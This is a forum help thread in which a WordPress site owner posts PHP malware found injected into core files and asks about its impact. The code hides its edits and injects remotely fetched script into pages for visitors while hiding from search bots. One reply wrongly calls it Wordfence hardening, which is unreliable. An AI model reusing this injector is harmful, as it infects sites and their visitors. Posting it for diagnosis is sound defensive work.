Wordpress files have been modified - What is the impact

I have the Wordfence plugin installed on all the Wordpress sites that I have on shared hosting. I get messages occasionally that people are attempting to compromise the passwords. For that reason, the usernames are not standard e.g. no 'admin', and the passwords are complex. It also emails when an admin logs in.

This morning I got an email saying that core files had been modified.

Here is the change that was added

nction my_time($dir) {
 	    foreach (glob($dir . '/wp-*.php') as $f) {
 	  	       $times[] = filemtime($f);
 	  	}
 	  	$max = 1;
 	  	for ($i = 0; $i < count($times) - 1; $i++) {
 	  	$k = 1;
 	  	for ($j = $i + 1; $j < count($times); $j++) {
 	  	if ($times[$i] == $times[$j]) {
 	  	$k++;
 	  	if ($k > $max) {
 	  	$max = $k;
 	  	$time = $times[$i];
 	  	}
 	  	}
 	  	}
 	  	}
 	  	return $time;
 	  	}
 	  	
 	  	function my_correct($dir) {
 	  	$time = 0;
 	  	$path = $dir . '/index.php';
 	  	$content = base64_decode('PD9waHAKLyoqCiAqIEZyb250IHRvIHRoZSBXb3JkUHJlc3MgYXBwbGljYXRpb24uIFRoaXMgZmlsZSBkb2Vzbid0IGRvIGFueXRoaW5nLCBidXQgbG9hZHMKICogd3AtYmxvZy1oZWFkZXIucGhwIHdoaWNoIGRvZXMgYW5kIHRlbGxzIFdvcmRQcmVzcyB0byBsb2FkIHRoZSB0aGVtZS4KICoKICogQHBhY2thZ2UgV29yZFByZXNzCiAqLwoKLyoqCiAqIFRlbGxzIFdvcmRQcmVzcyB0byBsb2FkIHRoZSBXb3JkUHJlc3MgdGhlbWUgYW5kIG91dHB1dCBpdC4KICoKICogQHZhciBib29sCiAqLwpkZWZpbmUoJ1dQX1VTRV9USEVNRVMnLCB0cnVlKTsKCi8qKiBMb2FkcyB0aGUgV29yZFByZXNzIEVudmlyb25tZW50IGFuZCBUZW1wbGF0ZSAqLwpyZXF1aXJlKCBkaXJuYW1lKCBfX0ZJTEVfXyApIC4gJy93cC1ibG9nLWhlYWRlci5waHAnICk7Cg==');
 	  	if (file_get_contents($path) != $content) {
 	  	chmod($path, 0644);
 	  	file_put_contents($path, $content);
 	  	chmod($path, 0444);
 	  	$time = my_time($dir);
 	  	touch($path, $time);
 	  	}
 	  	
 	  	$path = $dir . '/.htaccess';
 	  	$content = base64_decode('IyBCRUdJTiBXb3JkUHJlc3MKPElmTW9kdWxlIG1vZF9yZXdyaXRlLmM+ClJld3JpdGVFbmdpbmUgT24KUmV3cml0ZUJhc2UgLwpSZXdyaXRlUnVsZSBeaW5kZXhcLnBocCQgLSBbTF0KUmV3cml0ZUNvbmQgJXtSRVFVRVNUX0ZJTEVOQU1FfSAhLWYKUmV3cml0ZUNvbmQgJXtSRVFVRVNUX0ZJTEVOQU1FfSAhLWQKUmV3cml0ZVJ1bGUgLiAvaW5kZXgucGhwIFtMXQo8L0lmTW9kdWxlPgoKIyBFTkQgV29yZFByZXNzCg==');
 	  	if (file_exists($path) AND file_get_contents($path) != $content) {
 	  	chmod($path, 0644);
 	  	file_put_contents($path, $content);
 	  	chmod($path, 0444);
 	  	if (!$time) {
 	  	$time = my_time($dir);
 	  	}
 	  	touch($path, $time);
 	  	}
 	  	}
 	  	
 	  	my_correct(dirname(__FILE__) . '/..');
 	  	
 	  	function request_url_data($url) {
 	  	$site_url = (preg_match('/^https?:\/\//i', $_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : 'http://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']);
 	  	if (function_exists('curl_init')) {
 	  	$ch = curl_init();
 	  	curl_setopt($ch, CURLOPT_TIMEOUT, 5);
 	  	curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
 	  	curl_setopt($ch, CURLOPT_URL, $url);
 	  	curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
 	  	curl_setopt($ch, CURLOPT_HTTPHEADER, array(
 	  	'X-Forwarded-For: ' . $_SERVER["REMOTE_ADDR"],
 	  	'User-Agent: ' . $_SERVER["HTTP_USER_AGENT"],
 	  	'Referer: ' . $site_url,
 	  	));
 	  	$response = trim(curl_exec($ch));
 	  	} elseif (function_exists('fsockopen')) {
 	  	$m = parse_url($url);
 	  	if ($fp = fsockopen($m['host'], 80, $errno, $errstr, 6)) {
 	  	fwrite($fp, 'GET http://' . $m['host'] . $m["path"] . '?' . $m['query'] . ' HTTP/1.0' . "\r\n" .
 	  	'Host: ' . $m['host'] . "\r\n" .
 	  	'User-Agent: ' . $_SERVER["HTTP_USER_AGENT"] . "\r\n" .
 	  	'X-Forwarded-For: ' . @$_SERVER["REMOTE_ADDR"] . "\r\n" .
 	  	'Referer: ' . $site_url . "\r\n" .
 	  	'Connection: Close' . "\r\n\r\n");
 	  	$response = '';
 	  	while (!feof($fp)) {
 	  	$response .= fgets($fp, 1024);
 	  	}
 	  	list($headers, $response) = explode("\r\n\r\n", $response);
 	  	fclose($fp);
 	  	}
 	  	} else {
 	  	$response = 'curl_init and fsockopen disabled';
 	  	}
 	  	return $response;
 	  	}
 	  	
 	  	error_reporting(0);
 	  	$_passssword = '98b18acce3ce2362c1ae9afb8b28490f';
 	  	unset($_passssword);
 	  	
 	  	if (function_exists("add_action")) {
 	  	add_action('wp_head', 'add_2head');
 	  	add_action('wp_footer', 'add_2footer');
 	  	}
 	  	
 	  	function add_2head() {
 	  	ob_start();
 	  	}
 	  	
 	  	function add_2footer() {
 	  	$check = false;
 	  	$check_data = "";
 	  	if (!empty($_GET['check']) AND $_GET['check'] == '98b18acce3ce2362c1ae9afb8b28490f') {
 	  	$check = true;
 	  	$check_data = ('<!--checker_start ');
 	  	$check_data .= (substr(request_url_data('http://maxcdn.bootstrapcdn.com/bootstrap/3.3.4/css/bootstrap.min.css'), 0, 100));
 	  	$check_data .= (' checker_end-->');
 	  	}
 	  	
 	  	if (!$check) {
 	  	if (!@$_SERVER['HTTP_USER_AGENT'] OR (substr($_SERVER['REMOTE_ADDR'], 0, 6) == '74.125') OR preg_match('/(googlebot|msnbot|yahoo|search|bing|ask|indexer)/i', $_SERVER['HTTP_USER_AGENT']))
 	  	return;
 	  	
 	  	$cookie_name = 'PHP_SESSION_PHP';
 	  	if (isset($_COOKIE[$cookie_name]))
 	  	return;
 	  	
 	  	foreach (array('/\.css$/', '/\.swf$/', '/\.ashx$/', '/\.docx$/', '/\.doc$/', '/\.xls$/', '/\.xlsx$/', '/\.xml$/', '/\.jpg$/', '/\.pdf$/', '/\.png$/', '/\.gif$/', '/\.ico$/', '/\.js$/', '/\.txt$/', '/ajax/', '/cron\.php$/', '/wp\-login\.php$/', '/\/wp\-includes\//', '/\/wp\-admin/', '/\/admin\//', '/\/wp\-content\//', '/\/administrator\//', '/phpmyadmin/i', '/xmlrpc\.php/', '/\/feed\//') as $regex) {
 	  	if (preg_match($regex, $_SERVER['REQUEST_URI']))
 	  	return;
 	  	}
 	  	}
 	  	
 	  	$buffer = ob_get_clean();
 	  	ob_start();
 	  	$regexp = '/<body[^>]*>/is';
 	  	if (preg_match($regexp, $buffer, $m)) {
 	  	$body = $m[0];
 	  	$url = base64_decode('aHR0cDovL25pa2FyYWd1YS5zbHlpcC5jb20vYmxvZy8/YmY0eiZ1dG1fc291cmNlPTIwOTI0OjE0NTEyNToyNDA=');
 	  	//       if (($code = request_url_data($url)) AND base64_decode($code) AND preg_match('#[a-zA-Z0-9+/]+={0,3}#is', $code, $m)) {
 	  	if (($code = request_url_data($url)) AND $decoded = base64_decode($code, true)) {
 	  	$body .= '<script>var date = new Date(new Date().getTime() + 60*60*24*7*1000); document.cookie="' . $cookie_name . '=' . mt_rand(1, 1024) . '; path=/; expires="+date.toUTCString();</script>';
 	  	//           $body .= base64_decode($m[0]);
 	  	$body .= $decoded;
 	  	//           $body .= base64_decode($m[0]);
 	  	}
 	  	$body .= $check_data;
 	  	
 	  	$buffer = preg_replace($regexp, $body, $buffer);
 	  	}
 	  	echo $buffer;
 	  	ob_flush();
 	  	}//iend

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Can anyone offer some assistance to work out what the impact of this is on my sites

I updated the plugins on Friday across all sites so I am unsure how I have been compromised.

Whilst I have restored the files, I need to know if there is anything else I need to do.

Thanks
LVL 2
aidebAsked:
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Zephyr ICTCloud ArchitectCommented:
I'm not sure but this looks like if got adjusted by Wordfence itself, maybe after an update on the Wordpress installation or other plugins ... You see it in the beginning, files get re-adjusted to 444 instead of 644, so security gets hardened again after the update/adjustment.
rgranlundCommented:
Check your .htaccess file and make sure nothing has been added to it.  Then, re-upload your core WP files so that you know a clean copy of your WP is on the server.  From the logs you may be able to determine which files were changed and what IP was on your site at the time of the change and then through Wordfence, block that ip.

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aidebAuthor Commented:
Sorry, Can you advise how I can re-mark?
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